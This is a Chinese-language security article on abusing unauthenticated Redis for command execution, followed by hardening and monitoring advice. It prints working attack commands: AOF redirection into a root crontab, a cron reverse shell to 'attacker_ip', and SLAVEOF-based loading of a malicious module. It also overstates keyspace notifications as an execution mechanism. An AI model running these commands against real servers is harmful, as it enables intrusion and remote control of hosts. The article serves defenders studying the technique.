Redis键空间通知(Keyspace Notifications)自2.8版本推出以来,一直是构建缓存同步、延迟任务队列和实时数据管道的重要机制。然而在实际攻防对抗中,攻击者在获得Redis未授权访问权限后,早已不满足于单纯写入SSH公钥或计划任务反弹shell。利用键空间通知的事件回调特性执行任意命令,正在成为一种隐蔽且高效的持久化控制手段。这种手法的核心逻辑在于:攻击者并不直接在Redis中执行命令,而是通过修改键空间通知的配置参数,将Redis变为一个事件驱动的命令执行引擎,每当特定键发生变更时,自动触发操作系统级别的命令执行。

要理解这种攻击路径,必须先搞清楚键空间通知的工作原理。Redis允许客户端订阅特定频道,接收关于键空间变化的实时事件。这些事件分为两类:键空间通知(Key-space)和键事件通知(Key-event)。前者关注某个键执行了什么操作,后者关注某个命令影响了哪些键。默认情况下,键空间通知功能处于关闭状态,因为开启后会消耗额外的CPU资源。但问题在于,控制开关的配置参数notify-keyspace-events可以通过CONFIG SET命令在运行时动态修改,无需重启服务。这就为攻击者留下了操作空间。

攻击者首先需要确认目标Redis实例是否存在未授权访问漏洞,或者已经通过弱口令、SSRF等手段获得了交互权限。连接成功后,第一步是修改通知配置。参数值由多个字符组成:K代表键空间通知,E代表键事件通知,g代表通用命令,$代表字符串命令,l代表列表命令,s代表集合命令,h代表哈希命令,z代表有序集合命令,x代表过期事件,e代表驱逐事件,A代表所有事件。攻击者通常会将其设置为AKE,这意味着开启所有类型的键空间和键事件通知。

CONFIG SET notify-keyspace-events AKE

仅仅开启通知还不够,攻击者需要让Redis执行一条能触发外部命令的操作。这里的关键在于,Redis本身并不直接支持在Lua沙箱外执行系统命令,但通过滥用主从复制模块加载、或者利用某些特定版本的溢出漏洞可以突破这一限制。更常见也更隐蔽的做法是结合Redis的持久化机制。攻击者会先订阅一个特定的键空间通知频道,例如__keyspace@0__:cmd*,这个频道会监听数据库0中所有以"cmd"为前缀的键的变更事件。订阅命令如下:

SUBSCRIBE __keyspace@0__:cmd*

此时攻击者的客户端进入订阅模式,等待事件推送。接下来,攻击者需要让目标键发生变更。最直接的方式是通过SET命令修改键值。但问题来了:如何让一次简单的键变更转化为操作系统命令执行?这需要借助Redis的RDB或AOF持久化文件写入特性。攻击者可以预先通过CONFIG SET命令修改数据库文件的存储路径和文件名,将其指向一个可执行脚本的路径,例如Linux系统的cron定时任务目录或Web服务器的CGI目录。具体操作是:

CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root

设置完成后,攻击者向Redis写入一个包含恶意命令的键值对。这个键值对的内容会被序列化到RDB文件中。当Redis执行BGSAVE或自动保存时,RDB文件就会写入到/var/spool/cron/crontabs/root路径下。由于RDB文件是二进制格式,直接写入crontab目录会导致格式错误,系统无法正确解析。因此攻击者通常会选择AOF持久化模式,因为AOF文件以纯文本形式记录写命令,更容易控制内容格式。

CONFIG SET appendonly yes
CONFIG SET appendfilename "root"
CONFIG SET dir "/var/spool/cron/crontabs"

接着攻击者执行一条精心构造的SET命令,让AOF文件记录下合法的crontab条目。例如:

SET payload "\n*/1 * * * * /bin/bash -c 'exec bash -i &>/dev/tcp/attacker_ip/4444 0>&1'\n"

这条命令会在AOF文件中追加一段文本,其中包含换行符和完整的cron任务定义。当Redis将这条命令记录到AOF文件时,文件内容就变成了一个有效的crontab配置。系统cron守护进程会每分钟读取一次该文件,从而执行反弹shell命令。这种手法绕过了直接写入文件时可能遇到的格式校验问题,因为攻击者利用的是Redis自身的持久化日志机制。

回到键空间通知的滥用场景,攻击者可以将上述持久化写入操作与事件触发机制结合起来,实现更灵活的触发条件控制。具体流程是:攻击者先配置好AOF持久化路径指向crontab目录,然后订阅键空间通知频道。接着,攻击者并不直接写入恶意cron任务,而是设置一个特定的键,例如trigger:exec,并为其设置一个较短的过期时间。当这个键过期时,Redis会发布一个过期事件到键空间通知频道。如果攻击者提前在另一个客户端中准备好了一个脚本,持续监听这个频道,一旦收到过期事件,就立即执行写入恶意cron条目的SET命令。这样做的优势在于,恶意写入动作与攻击者的初始操作之间存在时间延迟,增加了溯源难度。

更高级的利用方式是利用Redis的主从复制功能实现模块加载,从而直接执行系统命令。Redis 4.x和5.x版本支持通过MODULE LOAD命令加载外部模块,攻击者可以将恶意.so文件写入目标服务器,然后加载该模块获得命令执行能力。键空间通知在这里扮演的角色是触发模块加载的时机。攻击者可以先通过主从复制将恶意模块文件同步到目标服务器的/tmp目录下,然后设置一个键并订阅其过期通知。当键过期时,攻击者的监听脚本自动执行MODULE LOAD命令加载恶意模块,随后调用模块中的函数执行系统命令。整个过程高度自动化,且由于模块加载发生在Redis内部,传统的文件监控工具可能难以察觉。

# 在攻击者服务器上编译恶意模块
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make

# 通过主从复制写入模块文件
SLAVEOF attacker_ip 6379
# 等待同步完成后取消主从关系
SLAVEOF NO ONE
# 加载模块
MODULE LOAD /tmp/exp.so
# 执行命令
system.exec "id"

防御这种攻击需要从多个层面入手。首先也是最根本的,杜绝Redis未授权访问。这要求运维人员必须为Redis实例设置强密码,通过requirepass参数配置认证。同时,将Redis绑定到127.0.0.1或内网IP,避免暴露在公网。使用云服务商的安全组或防火墙规则,限制只有受信任的IP地址才能访问Redis端口。其次,禁用运行时的危险配置修改能力。可以通过rename-command指令将CONFIG、MODULE、SLAVEOF等危险命令重命名为随机字符串,或者直接禁用。例如在redis.conf中添加:

rename-command CONFIG ""
rename-command MODULE ""
rename-command SLAVEOF ""
rename-command BGSAVE ""
rename-command BGREWRITEAOF ""

对于键空间通知功能本身,如果业务确实不需要使用,应该在配置文件中明确关闭,并同样通过rename-command禁用CONFIG SET命令,防止攻击者在运行时开启。如果业务必须使用键空间通知,建议将notify-keyspace-events的值设置为业务所需的最小集合,例如仅开启过期事件"Ex",而不是全量开启"AKE"。同时,对订阅键空间通知的客户端进行身份验证和权限控制,避免匿名用户随意订阅敏感频道。

文件系统层面的防护同样重要。运行Redis的用户应该以最小权限原则配置,通常使用专门的redis用户,该用户对系统关键目录如/etc、/var/spool/cron、/root等没有任何写权限。即使攻击者成功修改了dir和dbfilename参数,也无法将文件写入到这些受保护的位置。可以通过设置SELinux或AppArmor策略,进一步限制Redis进程的文件写入范围,只允许在指定数据目录内进行IO操作。

监控和告警机制是最后一道防线。应该对Redis的关键配置变更进行实时监控,一旦检测到notify-keyspace-events、dir、dbfilename、appendonly等参数被修改,立即触发告警。同时监控Redis的订阅频道列表,异常的SUBSCRIBE行为尤其是订阅__keyspace相关频道的操作,应当引起安全团队的高度警惕。定期审计Redis的持久化文件和日志,检查是否存在非预期的文件写入路径或异常的命令序列。

从攻击者的视角来看,键空间通知滥用手法的精妙之处在于它利用了Redis自身的事件驱动架构,将被动存储组件转化为主动执行引擎。这种思维转换值得安全从业者深入思考:任何具备事件回调、钩子函数或自动化触发机制的中间件,都可能被攻击者改造为命令执行的跳板。防御的关键不在于封堵某一个具体漏洞,而在于构建纵深防御体系,从网络隔离、身份认证、权限最小化、配置加固到行为监控,层层设防,让攻击者在任何一环都难以突破。